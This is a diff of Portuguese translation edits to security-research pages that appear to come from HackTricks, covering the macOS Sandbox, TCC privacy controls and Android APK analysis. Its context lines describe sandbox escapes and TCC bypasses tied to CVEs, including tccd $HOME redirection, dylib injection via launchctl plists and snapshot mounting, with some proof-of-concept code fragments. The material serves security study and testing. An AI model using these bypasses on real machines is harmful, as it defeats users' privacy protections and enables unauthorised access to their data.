Os processos são automaticamente isolados do userland quando começam se tiverem a concessão: `com.apple.security.app-sandbox`. Para uma explicação detalhada desse processo, consulte:
|
||||
|
||||
@ -368,7 +368,7 @@ Além disso, dos centenas de hooks que a Sandbox usa, há 3 em particular que s
|
||||
- `mpo_vnode_check_exec`: Chamado quando um processo carrega o binário associado, então uma verificação de perfil é realizada e também uma verificação que proíbe execuções SUID/SGID.
|
||||
- `mpo_cred_label_update_execve`: Isso é chamado quando o rótulo é atribuído. Este é o mais longo, pois é chamado quando o binário está totalmente carregado, mas ainda não foi executado. Ele realizará ações como criar o objeto sandbox, anexar a estrutura da sandbox às credenciais kauth, remover o acesso a portas mach...
|
||||
|
||||
Observe que **`_cred_sb_evalutate`** é um wrapper sobre **`sb_evaluate_internal`** e essa função obtém as credenciais passadas e, em seguida, realiza a avaliação usando a função **`eval`**, que geralmente avalia o **perfil da plataforma**, que por padrão é aplicado a todos os processos e, em seguida, o **perfil de processo específico**. Observe que o perfil da plataforma é um dos principais componentes do **SIP** no macOS.
|
||||
Observe que **`_cred_sb_evalutate`** é um wrapper sobre **`sb_evaluate_internal`** e essa função recebe as credenciais passadas e, em seguida, realiza a avaliação usando a função **`eval`**, que geralmente avalia o **perfil da plataforma**, que por padrão é aplicado a todos os processos e, em seguida, o **perfil de processo específico**. Observe que o perfil da plataforma é um dos principais componentes do **SIP** no macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
||||
@ -24,7 +24,7 @@ Isso foi o que foi feito em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2
|
||||
> [!CAUTION]
|
||||
> Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em **`.app`** sem um atributo de quarentena, você pode escapar do sandbox porque o macOS apenas **verifica** o **atributo de quarentena** na **pasta `.app`** e no **executável principal** (e nós apontaremos o executável principal para **`/bin/bash`**).
|
||||
>
|
||||
> Note que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também pode abusar disso... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões TCC privilegiadas (que você não terá dentro de um sandbox alto).
|
||||
> Note que se um pacote .app já foi autorizado a ser executado (ele tem um xttr de quarentena com a flag de autorizado a executar ativada), você também poderia abusar disso... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões TCC privilegiadas (que você não terá dentro de um sandbox alto).
|
||||
|
||||
### Abusando da funcionalidade Open
|
||||
|
||||
@ -37,7 +37,7 @@ macos-office-sandbox-bypasses.md
|
||||
### Launch Agents/Daemons
|
||||
|
||||
Mesmo que um aplicativo seja **destinado a ser sandboxed** (`com.apple.security.app-sandbox`), é possível contornar o sandbox se ele for **executado a partir de um LaunchAgent** (`~/Library/LaunchAgents`), por exemplo.\
|
||||
Como explicado em [**este post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você quiser obter persistência com um aplicativo que está em sandbox, você pode fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.
|
||||
Como explicado em [**este post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você quiser obter persistência com um aplicativo que está em sandbox, você poderia fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib.
|
||||
|
||||
### Abusando de Locais de Auto Início
|
||||
|
||||
@ -90,7 +90,7 @@ checkService(serviceName.UTF8String);
|
||||
```
|
||||
### Serviços Mach de PID disponíveis
|
||||
|
||||
Esses serviços Mach foram inicialmente abusados para [escapar do sandbox neste artigo](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Naquela época, **todos os serviços XPC exigidos** por um aplicativo e seu framework eram visíveis no domínio PID do aplicativo (esses são Serviços Mach com `ServiceType` como `Application`).
|
||||
Esses serviços Mach foram inicialmente abusados para [escapar do sandbox neste artigo](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). Naquela época, **todos os serviços XPC necessários** por um aplicativo e seu framework eram visíveis no domínio PID do aplicativo (esses são Serviços Mach com `ServiceType` como `Application`).
|
||||
|
||||
Para **contatar um serviço XPC do domínio PID**, basta registrá-lo dentro do aplicativo com uma linha como:
|
||||
```objectivec
|
||||
@ -207,7 +207,7 @@ NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
|
||||
|
||||
[**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do userland quando a biblioteca **libSystem** é carregada. Se um binário puder evitar carregá-la, ele nunca será sandboxed:
|
||||
|
||||
- Se o binário for **completamente compilado estaticamente**, ele poderá evitar o carregamento dessa biblioteca.
|
||||
- Se o binário for **completamente compilado estaticamente**, ele poderá evitar carregar essa biblioteca.
|
||||
- Se o **binário não precisar carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisará carregar libSystem.
|
||||
|
||||
### Shellcodes
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
**TCC (Transparência, Consentimento e Controle)** é um protocolo de segurança que se concentra na regulação das permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. Ao exigir o consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC melhora a privacidade e o controle do usuário sobre seus dados.
|
||||
**TCC (Transparência, Consentimento e Controle)** é um protocolo de segurança que se concentra na regulação das permissões de aplicativos. Seu papel principal é proteger recursos sensíveis como **serviços de localização, contatos, fotos, microfone, câmera, acessibilidade e acesso total ao disco**. Ao exigir consentimento explícito do usuário antes de conceder acesso do aplicativo a esses elementos, o TCC melhora a privacidade e o controle do usuário sobre seus dados.
|
||||
|
||||
Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos protegidos. Isso é visível através de um prompt que permite aos usuários **aprovar ou negar o acesso**. Além disso, o TCC acomoda ações diretas do usuário, como **arrastar e soltar arquivos em um aplicativo**, para conceder acesso a arquivos específicos, garantindo que os aplicativos tenham acesso apenas ao que é explicitamente permitido.
|
||||
|
||||
@ -12,7 +12,7 @@ Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos p
|
||||
|
||||
**TCC** é gerenciado pelo **daemon** localizado em `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurado em `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando o serviço mach `com.apple.tccd.system`).
|
||||
|
||||
Há um **tccd em modo usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Há um **tccd em modo de usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Aqui você pode ver o tccd rodando como sistema e como usuário:
|
||||
```bash
|
||||
@ -26,7 +26,7 @@ As permissões são **herdadas do aplicativo pai** e as **permissões** são **m
|
||||
|
||||
As permissões concedidas/negadas são então armazenadas em alguns bancos de dados TCC:
|
||||
|
||||
- O banco de dados de sistema em **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- O banco de dados do sistema em **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Este banco de dados é **protegido por SIP**, então apenas um bypass de SIP pode escrever nele.
|
||||
- O banco de dados TCC do usuário **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferências por usuário.
|
||||
- Este banco de dados é protegido, então apenas processos com altos privilégios TCC, como Acesso Completo ao Disco, podem escrever nele (mas não é protegido por SIP).
|
||||
@ -186,7 +186,7 @@ tccutil reset All
|
||||
```
|
||||
### Verificações de Assinatura do TCC
|
||||
|
||||
O **banco de dados** do TCC armazena o **Bundle ID** do aplicativo, mas também **armazena** **informações** sobre a **assinatura** para **garantir** que o aplicativo que solicita o uso de uma permissão é o correto.
|
||||
O **banco de dados** do TCC armazena o **Bundle ID** da aplicação, mas também **armazena** **informações** sobre a **assinatura** para **garantir** que o App que solicita o uso de uma permissão é o correto.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -204,7 +204,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
### Direitos e Permissões TCC
|
||||
|
||||
Os aplicativos **não apenas precisam** **solicitar** e ter **acesso concedido** a alguns recursos, eles também precisam **ter os direitos relevantes**.\
|
||||
Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não** tem esse **direito não poderá** acessar a câmera (e o usuário nem será solicitado a dar as permissões).
|
||||
Por exemplo, **Telegram** tem o direito `com.apple.security.device.camera` para solicitar **acesso à câmera**. Um **aplicativo** que **não** tiver esse **direito não poderá** acessar a câmera (e o usuário nem será solicitado a dar as permissões).
|
||||
|
||||
No entanto, para que os aplicativos **acessam** **certas pastas do usuário**, como `~/Desktop`, `~/Downloads` e `~/Documents`, eles **não precisam** ter nenhum **direito específico.** O sistema lidará com o acesso de forma transparente e **pedirá ao usuário** conforme necessário.
|
||||
|
||||
@ -254,13 +254,13 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
||||
>
|
||||
> Também note que se você mover um arquivo que permite o UUID de um aplicativo no seu computador para outro computador, porque o mesmo aplicativo terá UIDs diferentes, não concederá acesso a esse aplicativo.
|
||||
|
||||
O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **zipando** o arquivo, **deletando**-o e **deszipando**-o.
|
||||
O atributo estendido `com.apple.macl` **não pode ser limpo** como outros atributos estendidos porque é **protegido pelo SIP**. No entanto, como [**explicado neste post**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), é possível desativá-lo **compactando** o arquivo, **deletando**-o e **descompactando**-o.
|
||||
|
||||
## TCC Privesc & Bypasses
|
||||
|
||||
### Inserir no TCC
|
||||
|
||||
Se em algum momento você conseguir acesso de gravação a um banco de dados TCC, pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
|
||||
Se em algum momento você conseguir obter acesso de gravação a um banco de dados TCC, pode usar algo como o seguinte para adicionar uma entrada (remova os comentários):
|
||||
|
||||
<details>
|
||||
|
||||
@ -361,7 +361,7 @@ EOD
|
||||
Você poderia abusar disso para **escrever seu próprio banco de dados TCC de usuário**.
|
||||
|
||||
> [!WARNING]
|
||||
> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe fornecer os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do seu acesso FDA.
|
||||
> Com esta permissão, você poderá **pedir ao Finder para acessar pastas restritas do TCC** e lhe dar os arquivos, mas até onde sei, você **não poderá fazer o Finder executar código arbitrário** para abusar totalmente do seu acesso FDA.
|
||||
>
|
||||
> Portanto, você não poderá abusar de todas as habilidades do FDA.
|
||||
|
||||
@ -508,7 +508,7 @@ Se você tem **`kTCCServiceEndpointSecurityClient`**, você tem FDA. Fim.
|
||||
|
||||
Obtendo **permissões de escrita** sobre o banco de dados **TCC do usuário**, você **não pode** conceder a si mesmo permissões de **`FDA`**, apenas aquele que vive no banco de dados do sistema pode conceder isso.
|
||||
|
||||
Mas você pode **dar a si mesmo** **`direitos de Automação ao Finder`**, e abusar da técnica anterior para escalar para FDA\*.
|
||||
Mas você pode **dar** a si mesmo **`direitos de Automação ao Finder`**, e abusar da técnica anterior para escalar para FDA\*.
|
||||
|
||||
### **Permissões de FDA para TCC**
|
||||
|
||||
@ -518,7 +518,7 @@ Eu não acho que isso seja uma verdadeira privesc, mas só para o caso de você
|
||||
|
||||
### **Bypass de SIP para Bypass de TCC**
|
||||
|
||||
O **banco de dados TCC** do sistema é protegido por **SIP**, por isso apenas processos com as **autorizações indicadas poderão modificá-lo**. Portanto, se um atacante encontrar um **bypass de SIP** sobre um **arquivo** (conseguir modificar um arquivo restrito por SIP), ele poderá:
|
||||
O **banco de dados TCC** do sistema é protegido por **SIP**, por isso apenas processos com as **habilitações indicadas poderão modificá-lo**. Portanto, se um atacante encontrar um **bypass de SIP** sobre um **arquivo** (conseguir modificar um arquivo restrito por SIP), ele poderá:
|
||||
|
||||
- **Remover a proteção** de um banco de dados TCC e se dar todas as permissões TCC. Ele poderia abusar de qualquer um desses arquivos, por exemplo:
|
||||
- O banco de dados do sistema TCC
|
||||
|
||||
@ -27,7 +27,7 @@ O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para
|
||||
### Solicitação TCC por nome arbitrário
|
||||
|
||||
O atacante pode **criar aplicativos com qualquer nome** (por exemplo, Finder, Google Chrome...) no **`Info.plist`** e fazer com que ele solicite acesso a algum local protegido pelo TCC. O usuário pensará que o aplicativo legítimo é quem está solicitando esse acesso.\
|
||||
Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, para que quando o usuário clique no falso (que pode usar o mesmo ícone), ele possa chamar o legítimo, pedir permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso.
|
||||
Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, para que, quando o usuário clicar no falso (que pode usar o mesmo ícone), ele possa chamar o legítimo, pedir permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso.
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -52,13 +52,13 @@ Aqui você pode encontrar exemplos de como alguns **malwares conseguiram contorn
|
||||
|
||||
### Manipulação de extensões - CVE-2022-26767
|
||||
|
||||
O atributo **`com.apple.macl`** é dado a arquivos para conceder a **certo aplicativo permissões para lê-lo.** Este atributo é definido ao **arrastar e soltar** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
|
||||
O atributo **`com.apple.macl`** é dado a arquivos para conceder a **um determinado aplicativo permissões para lê-lo.** Este atributo é definido ao **arrastar e soltar** um arquivo sobre um aplicativo, ou quando um usuário **clica duas vezes** em um arquivo para abri-lo com o **aplicativo padrão**.
|
||||
|
||||
Portanto, um usuário poderia **registrar um aplicativo malicioso** para manipular todas as extensões e chamar os Serviços de Lançamento para **abrir** qualquer arquivo (assim, o arquivo malicioso terá acesso para lê-lo).
|
||||
|
||||
### iCloud
|
||||
|
||||
A concessão **`com.apple.private.icloud-account-access`** torna possível comunicar-se com o serviço XPC **`com.apple.iCloudHelper`** que **fornecerá tokens do iCloud**.
|
||||
A concessão **`com.apple.private.icloud-account-access`** torna possível comunicar-se com o serviço XPC **`com.apple.iCloudHelper`**, que fornecerá **tokens do iCloud**.
|
||||
|
||||
**iMovie** e **Garageband** tinham essa concessão e outras que permitiam.
|
||||
|
||||
@ -80,7 +80,7 @@ Por exemplo, se um aplicativo tem **permissão de Automação sobre `iTerm`**, p
|
||||
|
||||
#### Sobre iTerm
|
||||
|
||||
Terminal, que não tem FDA, pode chamar iTerm, que tem, e usá-lo para realizar ações:
|
||||
O Terminal, que não tem FDA, pode chamar o iTerm, que tem, e usá-lo para realizar ações:
|
||||
```applescript:iterm.script
|
||||
tell application "iTerm"
|
||||
activate
|
||||
@ -115,7 +115,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
O **daemon tccd** do userland estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
De acordo com [este post do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\
|
||||
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** no **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o daemon **TCC** e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\
|
||||
Assim, um **atacante poderia definir a variável de ambiente `$HOME`** no **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\
|
||||
PoC:
|
||||
```bash
|
||||
# reset database just in case (no cheating!)
|
||||
@ -145,7 +145,7 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - Notas
|
||||
|
||||
Notas tinha acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiar um arquivo protegido em uma nota (então em um local não protegido) e depois acessar o arquivo:
|
||||
Notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiarem um arquivo protegido em uma nota (então em um local não protegido) e depois acessar o arquivo:
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -160,13 +160,13 @@ Era possível adicionar o atributo de quarentena a "Library", chamar o serviço
|
||||
**`Music`** tem um recurso interessante: Quando está em execução, ele **importa** os arquivos arrastados para **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** para a "biblioteca de mídia" do usuário. Além disso, chama algo como: **`rename(a, b);`** onde `a` e `b` são:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
Esse comportamento **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/.
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
Se **`SQLITE_SQLLOG_DIR="path/folder"`** basicamente significa que **qualquer db aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que vai ser **aberto por um processo com FDA o banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **symlink no nome do arquivo** para que, quando aquele banco de dados for **aberto**, o usuário **TCC.db é sobrescrito** com o que foi aberto.\
|
||||
Se **`SQLITE_SQLLOG_DIR="path/folder"`** basicamente significa que **qualquer db aberto é copiado para esse caminho**. Neste CVE, esse controle foi abusado para **escrever** dentro de um **banco de dados SQLite** que será **aberto por um processo com FDA o banco de dados TCC**, e então abusar de **`SQLITE_SQLLOG_DIR`** com um **symlink no nome do arquivo** para que, quando aquele banco de dados for **aberto**, o usuário **TCC.db é sobrescrito** com o que foi aberto.\
|
||||
**Mais info** [**na descrição**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **e** [**na palestra**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s).
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
@ -185,7 +185,7 @@ Esta **variável de ambiente é usada pelo framework `Metal`** que é uma depend
|
||||
Definindo o seguinte: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Se `path` for um diretório válido, o bug será acionado e podemos usar `fs_usage` para ver o que está acontecendo no programa:
|
||||
|
||||
- um arquivo será `open()`ado, chamado `path/.dat.nosyncXXXX.XXXXXX` (X é aleatório)
|
||||
- uma ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso)
|
||||
- um ou mais `write()`s escreverão o conteúdo no arquivo (não controlamos isso)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` será `renamed()` para `path/name`
|
||||
|
||||
É uma gravação de arquivo temporário, seguida por um **`rename(old, new)`** **que não é seguro.**
|
||||
@ -226,7 +226,7 @@ O TCC usa um banco de dados na pasta HOME do usuário para controlar o acesso a
|
||||
Portanto, se o usuário conseguir reiniciar o TCC com uma variável de ambiente $HOME apontando para uma **pasta diferente**, o usuário poderia criar um novo banco de dados TCC em **/Library/Application Support/com.apple.TCC/TCC.db** e enganar o TCC para conceder qualquer permissão TCC a qualquer aplicativo.
|
||||
|
||||
> [!TIP]
|
||||
> Note que a Apple usa a configuração armazenada dentro do perfil do usuário no atributo **`NFSHomeDirectory`** para o **valor de `$HOME`**, então se você comprometer um aplicativo com permissões para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), você pode **armazenar** esta opção com um bypass do TCC.
|
||||
> Note que a Apple usa a configuração armazenada dentro do perfil do usuário no atributo **`NFSHomeDirectory`** para o **valor de `$HOME`**, então se você comprometer um aplicativo com permissões para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), você pode **armar** esta opção com um bypass do TCC.
|
||||
|
||||
### [CVE-2020–9934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
||||
@ -263,7 +263,7 @@ Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que se
|
||||
|
||||
O aplicativo `/System/Library/CoreServices/Applications/Directory Utility.app` tinha a permissão **`kTCCServiceSystemPolicySysAdminFiles`**, carregava plugins com extensão **`.daplug`** e **não tinha o runtime** endurecido.
|
||||
|
||||
Para armazenar esta CVE, o **`NFSHomeDirectory`** é **mudado** (abusando da permissão anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC.
|
||||
Para armar este CVE, o **`NFSHomeDirectory`** é **mudado** (abusando da permissão anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC.
|
||||
|
||||
Para mais informações, confira o [**relatório original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
|
||||
@ -300,7 +300,7 @@ exit(0);
|
||||
```
|
||||
Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
|
||||
### Plug-Ins da Camada de Abstração de Dispositivo (DAL)
|
||||
### Plug-Ins da Camada de Abstração de Dispositivos (DAL)
|
||||
|
||||
Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com **`kTCCServiceCamera`**) carregam **no processo esses plugins** localizados em `/Library/CoreMediaIO/Plug-Ins/DAL` (não restrito pelo SIP).
|
||||
|
||||
@ -346,7 +346,7 @@ O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as p
|
||||
|
||||
O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Note como usar a variável de ambiente para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la:
|
||||
Note como usar a variável env para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe;
|
||||
|
||||
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
|
||||
|
||||
**Qualquer usuário** (mesmo os não privilegiados) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
|
||||
**Qualquer usuário** (mesmo os sem privilégios) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
|
||||
O **único privilégio** necessário é que o aplicativo usado (como `Terminal`) tenha acesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
|
||||
```bash
|
||||
# Create snapshot
|
||||
@ -484,6 +484,7 @@ A pasta **`/var/db/locationd/` não estava protegida contra montagem de DMG**, e
|
||||
|
||||
## Por aplicativos de inicialização
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../../macos-auto-start-locations.md
|
||||
{{#endref}}
|
||||
|
||||
@ -15,7 +15,7 @@ android-applications-basics.md
|
||||
Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\
|
||||
**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções.
|
||||
|
||||
Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
|
||||
Dê uma olhada na lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb.
|
||||
|
||||
## Smali
|
||||
|
||||
@ -65,24 +65,24 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
Primeiramente, para analisar um APK você deve **dar uma olhada no código Java** usando um decompilador.\
|
||||
Por favor, [**leia aqui para encontrar informações sobre diferentes decompiladores disponíveis**](apk-decompilers.md).
|
||||
|
||||
### Procurando Informações Interessantes
|
||||
### Procurando informações interessantes
|
||||
|
||||
Apenas dando uma olhada nas **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chaves** **api**, **criptografia**, **bluetooth uuids**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de admin hardcoded para o app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Preste atenção especial às **URLs do firebase** e verifique se estão mal configuradas. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Preste atenção especial às **URLs do firebase** e verifique se está mal configurado. [Mais informações sobre o que é o Firebase e como explorá-lo aqui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Compreensão Básica da Aplicação - Manifest.xml, strings.xml
|
||||
### Compreensão básica da aplicação - Manifest.xml, strings.xml
|
||||
|
||||
A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
|
||||
|
||||
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
|
||||
|
||||
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
|
||||
- **Aplicações Debugáveis**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
|
||||
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
|
||||
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante testes dinâmicos pode revelar como explorar esses componentes.
|
||||
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
|
||||
- **Broadcast Receivers e URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
|
||||
@ -112,7 +112,7 @@ Mais informações em:
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### Armazenamento de Dados Inseguro
|
||||
### Armazenamento de dados inseguros
|
||||
|
